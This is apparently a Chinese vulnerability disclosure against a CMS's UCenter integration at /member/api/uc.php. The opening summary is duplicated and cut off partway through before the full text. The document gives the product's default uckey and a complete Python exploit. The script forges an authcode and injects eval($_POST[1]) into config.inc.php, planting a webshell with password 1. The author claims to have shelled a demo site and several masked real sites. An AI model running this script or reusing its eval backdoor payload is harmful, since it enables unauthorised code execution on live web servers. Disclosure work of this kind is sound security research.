### 简要描述： demo也shell了哦 ### 详细说明： 看到\member\api\uc.php ``` define('DISCUZ_ROOT', dirname(dirname(dirname(__FILE__))).'/member/ucenter/'); include DISCUZ_ROOT.'api/uc.php'; ``` 就是包含了uc的那个插件。但是这个功能只有高级版才有，免费版没有 然后uckey都是默认的 ``` 8808cer8o1UJsEpt2G2Jn0uhEn/YgEva589Mfo0 ``` 然后就可以直接getshell了 附上脚本 ``` #! /usr/bin/env python #coding=utf-8 import hashlib import time import math import base64 import urllib import urllib2 import sys def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000000' +...
### 简要描述： demo也shell了哦 ### 详细说明： 看到\member\api\uc.php ``` define('DISCUZ_ROOT', dirname(dirname(dirname(__FILE__))).'/member/ucenter/'); include DISCUZ_ROOT.'api/uc.php'; ``` 就是包含了uc的那个插件。但是这个功能只有高级版才有，免费版没有 然后uckey都是默认的 ``` 8808cer8o1UJsEpt2G2Jn0uhEn/YgEva589Mfo0 ``` 然后就可以直接getshell了 附上脚本 ``` #! /usr/bin/env python #coding=utf-8 import hashlib import time import math import base64 import urllib import urllib2 import sys def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string string_length = len(string) result = '' box = range(0, 256) rndkey = dict() for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]) j=0 for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp a=0 j=0 for i in range(0,string_length): a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host): ''' 发送命令获取webshell ''' headers={'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url } tm = time.time()+10*3600 tm="time=%d&action=updateapps" %tm code = urllib.quote(get_authcode(tm,key)) url=url+"?code="+code data1='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx\');eval($_POST[1]);//</item> </root>''' try: req=urllib2.Request(url,data=data1,headers=headers) ret=urllib2.urlopen(req) except: return "error" data2='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://aaa</item> </root>''' try: req=urllib2.Request(url,data=data2,headers=headers) ret=urllib2.urlopen(req) except: return "error" return "webshell:"+host+"/member/ucenter/config.inc.php,password:1" if __name__ == '__main__': host=sys.argv[1] key=sys.argv[2] url=host+"/member/api/uc.php" print get_shell(url,key,host) ``` ### 漏洞证明： 先来个demo的shell ``` http://**.**.**.**/member/ucenter/config.inc.php ``` [<img src="https://images.seebug.org/upload/201509/141745594a0c9ca4e17fb5558c3325a3ed759fbc.jpg" alt="QQ截图20150914174533.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/141745594a0c9ca4e17fb5558c3325a3ed759fbc.jpg) 然后再来几个案例 ``` http://**.**.**.**//member/ucenter/config.inc.php ``` ``` http://**.**.**.**/member/ucenter/config.inc.php ``` ``` http://**.**.**.**/member/ucenter/config.inc.php ``` ``` http://**.**.**.**/member/ucenter/config.inc.php ``` ``` http://**.**.**.**/member/ucenter/config.inc.php ``` 密码都是1 [<img src="https://images.seebug.org/upload/201509/141748360752108085f4376627e87b199db7c13d.jpg" alt="QQ截图20150914174745.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/141748360752108085f4376627e87b199db7c13d.jpg) [<img src="https://images.seebug.org/upload/201509/14174829f516334d29d38ca4a426f53e898fa8ba.jpg" alt="QQ截图20150914174750.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/14174829f516334d29d38ca4a426f53e898fa8ba.jpg) [<img src="https://images.seebug.org/upload/201509/14174819aafdc67a51614a0b2e004d33235abb59.jpg" alt="QQ截图20150914174755.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/14174819aafdc67a51614a0b2e004d33235abb59.jpg)
